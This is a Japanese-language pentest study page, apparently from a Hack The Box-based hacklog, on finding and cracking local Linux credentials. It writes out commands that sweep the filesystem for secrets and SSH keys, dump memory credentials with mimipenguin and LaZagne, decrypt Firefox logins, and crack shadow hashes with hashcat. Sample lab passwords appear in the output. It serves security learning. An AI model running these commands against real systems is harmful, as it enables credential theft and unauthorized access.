> For the complete documentation index, see [llms.txt](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/pentest_technique/linux-local-password-attack.md).

# Linux Local Password Attack

## Credential Hunting in Linux

資格情報の検索対象

### Files

* Linuxは全てがファイルであるという原則を頭に置いて検索・フィルタリングしていくことが大事

#### 設定ファイル

* Linuxディストリビューション上のサービス機能の中核
* `.conf`・`.config`・`.cnf`などがある

mysqlの設定情報 `/etc/mysql/debian.cnf`

システム全体の中で設定ファイルの3つのファイル形式を検索するコマンド

```bash
find / -type f \( -iname "*.conf" -o -iname "*.config" -o -iname "*.cnf" -o -iname "*.ini" -o -iname "*.inc" -o -iname "*.inc.php" -o -iname "*.env" -o -iname "*.yml" -o -iname "*.yaml" -o -iname "*.json" -o -iname "*.xml" -o -iname "config.php" -o -iname "config.inc.php" -o -iname "settings.php" -o -iname "wp-config.php" -o -iname ".htpasswd" -o -iname ".htaccess" -o -iname "docker-compose.yml" -o -iname "credentials" -o -iname "id_rsa" -o -iname "id_dsa" -o -iname "authorized_keys" -o -iname "shadow" -o -iname "passwd" -o -iname "*password*" -o -iname "*secret*" -o -iname "*credential*" -o -iname "*token*" -o -iname "*auth*" -o -iname "*.bak" -o -iname "*.old" -o -iname "*.save" \) 2>/dev/null | grep -viE "/(lib|fonts|share|core|doc|man|locale|help|cache|tmp|proc|sys|dev|run|snap|var/cache)/"
```

指定されたファイル拡張子(.cnf)で見つかった各ファイルに対して3つの単語（`user`、`password`、`pass`）を直接検索し、内容を出力する

```bash
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
```

#### データベースファイル

システム全体の中でデータベースファイルを検索して、一覧で表示

```bash
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
```

mysqlのターミナルが出てこない時はこんな感じで出力できる

```sh
mysql -u roundcube -pRCDBPass2025 -h localhost roundcube -e 'use roundcube;select * from session;' -E
```

#### 仮想ホスト設定ファイル

nginxが動いている場合、他の仮想ホストがあることがある 仮想ホストの確認

```sh
ls -l /etc/nginx/sites-enabled/
ls -l /etc/nginx/sites-available/
```

#### メモ

ホーム以下でメモファイルを検索して、一覧で表示

* .txtと特に拡張子がついていないファイルにフォーカス当てている

```shell
find /home/* -type f -name "*.txt" -o ! -name "*.*"
```

#### スクリプト・ソースコード

スクリプトの拡張子がついてるファイルの一覧

```shell
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
```

#### cronのジョブ

* システム全体の領域 : `/etc/crontab`
* Debian ベースのディストリビューションでは `/etc/cron.d/` にも存在

```shell
cat /etc/crontab 
```

```shell
ls -la /etc/cron.*/
```

#### SSHキー

* SSHキーは任意に名前を付けることができるため、特定の名前を検索することはできない
* しかし、公開鍵でも秘密鍵でも、どちらも区別するための固有の最初の行があるので、それを利用して検索することができる

```shell
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
```

```shell
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
```

#### Historyファイル

* コマンドライン履歴
  * Bashが標準シェルのコマンドの履歴は、`.bash_history`
  * 他にも`.bashrc`や`.bash_profile`にも重要な情報ある可能性ある .bashから始まるファイルを一覧表示する

```shell
tail -n5 /home/*/.bash*
```

コマンド履歴で、特に-pとかでパスワードを渡しているかも？

```sh
history
```

#### ログ

| 場所                                  | 説明                         |
| ----------------------------------- | -------------------------- |
| `/var/log/messages`                 | 一般的なシステムアクティビティログ。         |
| `/var/log/syslog`                   | 一般的なシステムアクティビティログ。         |
| `/var/log/auth.log`                 | （Debian）すべての認証関連ログ。        |
| `/var/log/secure`                   | （RedHat/CentOS）すべての認証関連ログ。 |
| `/var/log/boot.log`                 | 起動情報。                      |
| `/var/log/dmesg`                    | ハードウェアとドライバーに関する情報とログ。     |
| `/var/log/kern.log`                 | カーネル関連の警告、エラー、ログ。          |
| `/var/log/faillog`                  | ログインに失敗しました。               |
| `/var/log/cron`                     | cronジョブに関する情報。             |
| `/var/log/mail.log`                 | すべてのメールサーバー関連ログ。           |
| `/var/log/httpd`                    | すべてのApache関連ログ。            |
| `/var/log/mysqld.log`               | すべてのMySQLサーバー関連ログ。         |
| これらのログに対して一気にかける方法                  |                            |
| ログで興味深いコンテンツを見つけるために使用できる文字列を取得する方法 |                            |

```shell
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
```

### Memory

#### キャッシュ・インメモリ処理

* 多くのアプリケーションやプロセスは、認証に必要な資格情報をメモリやファイルに保存して再利用できるようにする
* ブラウザに保存されている資格情報も読み取ることができる

**mimipenguin**

* Linuxディストリビューションからこのタイプの情報を取得するために[mimipenguin](https://github.com/huntergregal/mimipenguin)というツールがある
  * mimipenguinには管理者/ルート権限が必要
  * python版とshellscript版がある

```shell
cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3: 

[SYSTEM - GNOME]	cry0l1t3:WLpAEXFa0SbqOHY
```

```shell
cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh 
[sudo] password for cry0l1t3: 

MimiPenguin Results:
[SYSTEM - GNOME]          cry0l1t3:WLpAEXFa0SbqOHY
```

**laZagne**

windowsでも使える資格情報検索ツール

```shell
sudo python2.7 laZagne.py all
```

### Key-Rings

#### ブラウザに保存された資格情報

* ユーザーが保存したパスワードを暗号化された形式で、再利用するシステムにローカルに保存する
* `Mozilla Firefox`ブラウザは、暗号化された資格情報をそれぞれのユーザーの隠しフォルダに保存する

Mozilla Firefoxブラウザの認証情報保存サイトの認証情報を表示する `*.default-release`があるかどうかを確認する

```shell
ls -l .mozilla/firefox/ | grep default 
```

```shell
cat .mozilla/firefox/*.default-release/logins.json | jq .
```

何か中に入っていたら、firefox\_decrypt.pyで`logins.json`をデコードする \[\[File Transfer]]

```
wget https://raw.githubusercontent.com/unode/firefox_decrypt/refs/heads/main/firefox_decrypt.py
```

```shell
snowyowl644@htb[/htb]$ python3 firefox_decrypt.py

Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release

2

Website:   https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'

Website:   https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'
```

LaZagneでもブラウザの認証情報を収集できる

```shell
python3 laZagne.py browsers
```

## Passwd、Shadow & Opasswd

### Linux の認証メカニズム

* Linux では **Pluggable Authentication Modules（PAM）** を使用するのが一般的。
* PAM の主要モジュール:
  * **`pam_unix.so` / `pam_unix2.so`**: システムライブラリと API を使い、アカウント情報を更新。
  * **LDAP, mount, Kerberos** などの他の認証モジュールも利用可能。
* Debian 系では、PAM のモジュールは **`/usr/lib/x86_x64-linux-gnu/security/`** に配置。
* `passwd` コマンドでパスワード変更時、PAM が情報の保存・管理を行う。

### /etc/passwd の役割

* システム上の **ユーザー情報（ユーザー名, UID, GID, ホームディレクトリ, ログインシェルなど）** を格納するファイル。
* かつては **パスワードのハッシュ値** も含まれていたが、セキュリティ上の理由で現在は `/etc/shadow` に分離。
* **一般ユーザーでも読み取り可能（world-readable）** であり、コマンドやサービスがユーザー情報を参照するのに使用。

### /etc/passwd のフォーマット

各ユーザーの情報は `:` で区切られ、以下のような形式で保存される

```
<username>:<password>:<uid>:<gid>:<comment>:<home directory>:<login shell>
```

```
root:x:0:0:root:/root:/bin/bash
```

* `<password>` フィールドは通常 **`x`** となっており、実際のパスワードは `/etc/shadow` に保存される。

#### /etc/passwd のセキュリティリスク

* `/etc/passwd` が **誤って書き込み可能** になると、root ユーザーのパスワードを無しにできる。 上のxを削除することで、rootユーザーのパスワードをなしにできる

```
root::0:0:root:/root:/bin/bash
```

* これにより、root へのログイン時に **パスワードプロンプトなしでアクセス可能になる** という重大なリスクが発生する。
* `/etc`ディレクトリにまとめて書き込み権限を渡してしまったりしたらダメ

### /etc/shadow のフォーマット

* パスワードのハッシュ値やパスワードの有効期限、パスワードの最終変更日など、主にパスワードに関わる詳細情報を格納している。
* root のみが読み取れるように制限
* パスワードハッシュが含まれる どんな風に書かれているのか

| htb-student: | $y$j9T$3QSBB6CbHEu...SNIP...f8Ms: | 18955:     | 0:        | 99999:    | 7:        | :             | :         | :            |
| ------------ | --------------------------------- | ---------- | --------- | --------- | --------- | ------------- | --------- | ------------ |
| `<ユーザー名>`:   | `<暗号化されたパスワード>`:                  | `<最終変更日>`: | `<最小日数>`: | `<最大日数>`: | `<警告期間>`: | `<非アクティブ期間>`: | `<有効期限>`: | `<予約フィールド>`: |

* パスワードフィールドに`!` や`*`などの文字が含まれている場合、ユーザーはUnixパスワードでログインできない
  * Kerberosやキーベースの認証など、ログイン用の他の認証方法では使用できる
  * 暗号化されたパスワードフィールドが空の場合、同じケースが適用される

### Opasswd

* PAM ライブラリ (`pam_unix.so`) は、古いパスワードの再利用を防ぐことができる
  * 古いパスワードが保存されているファイルは`/etc/security/opasswd`
  * ファイルの権限が手動で変更されていない場合、ファイルを読むには管理者/ルート権限も必要
  * 古いから、MD5ハッシュだとクラックしやすい

### Linuxクレデンシャルのクラック

パスワードをクリアテキストで取得する

```shell-session
sudo cp /etc/passwd /tmp/passwd.bak 
sudo cp /etc/shadow /tmp/shadow.bak 
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
```

Linux では `/etc/passwd` にユーザー情報が保存され、`/etc/shadow` にパスワードハッシュが保存されている\
`unshadow` コマンドを使うことで、これらの情報を統合し、クラックに適したフォーマットで出力できる

```shell-session
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txt -o /tmp/unshadowed.cracked
```

```shell-session
cat md5-hashes.list
```

MD5ハッシュクラッキング

```shell-session
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
```
